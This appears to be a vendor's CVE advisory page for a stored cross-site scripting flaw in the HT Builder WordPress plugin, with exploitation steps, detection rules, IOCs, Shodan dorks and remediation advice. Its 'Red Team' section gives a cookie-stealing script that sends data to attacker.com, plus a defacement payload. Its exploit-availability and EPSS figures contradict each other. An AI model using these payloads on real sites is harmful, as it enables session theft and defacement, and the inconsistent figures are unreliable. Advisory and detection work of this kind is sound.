☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Hasthemes logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-51682

CVE-2024-51682 Cross-Site Scripting in Hasthemes
📅 PUBLISHED: 2024-11-04 15:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-51682 is a Stored Cross-Site Scripting (XSS) vulnerability in the HT Builder – WordPress Theme Builder for Elementor plugin, developed by HasThemes. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into web pages generated by the plugin. The injected script executes in the context of any user viewing the affected page, leading to session hijacking, defacement, or redirection to malicious sites. The vulnerability affects all versions up to and including 1.3.0. No official patch has been released, and no public exploit code is available at this time. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for sites using the plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are affected. There is no associated NPM, PyPI, Go, or Ruby package; however, the plugin may be bundled in some commercial themes or site builders, expanding its supply chain impact. Administrators should verify if any custom or third-party themes include HT Builder and assess exposure.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (contributor-level WordPress user)
  • User Interaction: Required (victim must visit the compromised page)
  • Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature means a single injection can affect all visitors, making it a persistent threat. The lack of a patch increases the urgency for mitigation.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input in the HT Builder plugin. The plugin allows users to create custom theme templates (header, footer, single post, etc.) via Elementor. When a user with contributor-level access or higher inserts a widget or custom HTML block that includes unsanitized JavaScript, the plugin fails to escape the output during page rendering. This stored XSS is triggered when any user (including administrators) visits a page that uses the compromised template.

Root Cause: The plugin does not apply WordPress’s built-in escaping functions (e.g., esc_html(), wp_kses_post()) to user input before storing it in the database or rendering it on the frontend. Specifically, the vulnerability exists in the template builder’s handling of custom CSS/JS fields or widget attributes.

Attack Flow:

  1. Attacker logs in with contributor-level credentials.
  2. Attacker creates or edits a theme template (e.g., header) using HT Builder.
  3. Attacker inserts a malicious payload (e.g., <script>alert('XSS')</script>) into a text field, custom CSS, or widget attribute.
  4. The payload is stored in the WordPress database without sanitization.
  5. When an administrator or visitor loads any page using that template, the script executes in their browser.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on expected secure coding practices.

Vulnerable Code (hypothetical example from HT Builder):

// In a template rendering function
echo $custom_css; // Direct output without escaping

Patched Code (recommended fix):

// Properly escape output
echo esc_html( $custom_css );
// Or for CSS context:
echo '<style>' . wp_strip_all_tags( $custom_css ) . '</style>';

The patched version would use WordPress escaping functions to neutralize any HTML/JavaScript before output.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with HT Builder plugin version <= 1.3.0.
  • Contributor-level user account.

Steps:

  1. Log in as a contributor.
  2. Navigate to Appearance > Theme Builder (or similar HT Builder menu).
  3. Create a new template (e.g., Header).
  4. Add a Custom HTML widget or use the Custom CSS field.
  5. Inject the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  6. Save and publish the template.
  7. Send a link to the target page (e.g., homepage) to an administrator.
  8. When the admin visits the page, the script executes and exfiltrates their session cookie.

Alternative Payload (for defacement):

<script>document.body.innerHTML='<h1>Hacked by Red Team</h1>'</script>

Blue Team

Detection & Response:

  1. Monitor WordPress admin logs for unusual template creation or editing by low-privilege users.
  2. Use a Web Application Firewall (WAF) with rules to block <script> tags in POST requests to wp-admin/admin-ajax.php or template save endpoints.
  3. Regularly scan the database for suspicious entries in the wp_postmeta table (e.g., meta_key containing _elementor_data with script tags).
  4. Implement Content Security Policy (CSP) headers to restrict script execution:
    Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
    
    Note: This may break legitimate plugin functionality; test thoroughly.

Lab Setup:

  • Use a local WordPress environment (e.g., Local by Flywheel, Docker).
  • Install HT Builder plugin version 1.3.0.
  • Create a contributor user and follow the Red Team steps to confirm the vulnerability.
  • Apply the recommended patch (modify plugin files) and verify the fix.

Indicators of Compromise (IOCs)

  • File System: Modified plugin files in /wp-content/plugins/ht-builder/ (if attacker uploads a backdoored version).
  • Database: Entries in wp_posts or wp_postmeta containing <script> tags or obfuscated JavaScript.
  • Network: Outbound HTTP requests to unknown domains from the WordPress server (cookie exfiltration).
  • Logs: Unusual template creation events in WordPress activity logs (if plugin logs such actions).
  • Browser: Unexpected pop-ups, redirects, or altered page content for visitors.

Detection Engineering

YARA Rule

rule CVE_2024_51682_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in HT Builder plugin database entries"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51682"
    strings:
        $script_tag = /<script[\s>]/ nocase
        $onerror = /onerror\s*=/ nocase
        $onload = /onload\s*=/ nocase
        $elementor_data = /_elementor_data/ nocase
    condition:
        $elementor_data and ($script_tag or $onerror or $onload)
}

Sigma Rule

title: Stored XSS via HT Builder Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS attempts in HT Builder plugin templates
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=elementor_ajax'
        cs-uri-query|contains: 'actions=save_builder'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in custom HTML widgets (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51682 HT Builder Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_uri; pcre:"/<script[\s>]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if not critical to site functionality.
  2. Restrict user roles: Remove contributor-level access from untrusted users.
  3. Apply virtual patching: Use a WAF to block requests containing <script> tags in template save endpoints.
  4. Audit existing templates: Manually review all HT Builder templates for malicious code.

Long-Term Fix:

  • Since no official patch exists, consider forking the plugin and applying the following code fix:
    • In all output functions, replace echo $var; with echo esc_html( $var ); or echo wp_kses_post( $var ); as appropriate.
  • Monitor the plugin’s repository for an official update and apply it immediately when released.

Alternative:

  • Migrate to a different theme builder plugin that is actively maintained and patched.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"HT Builder"
http.html:"ht-builder"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-51682/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.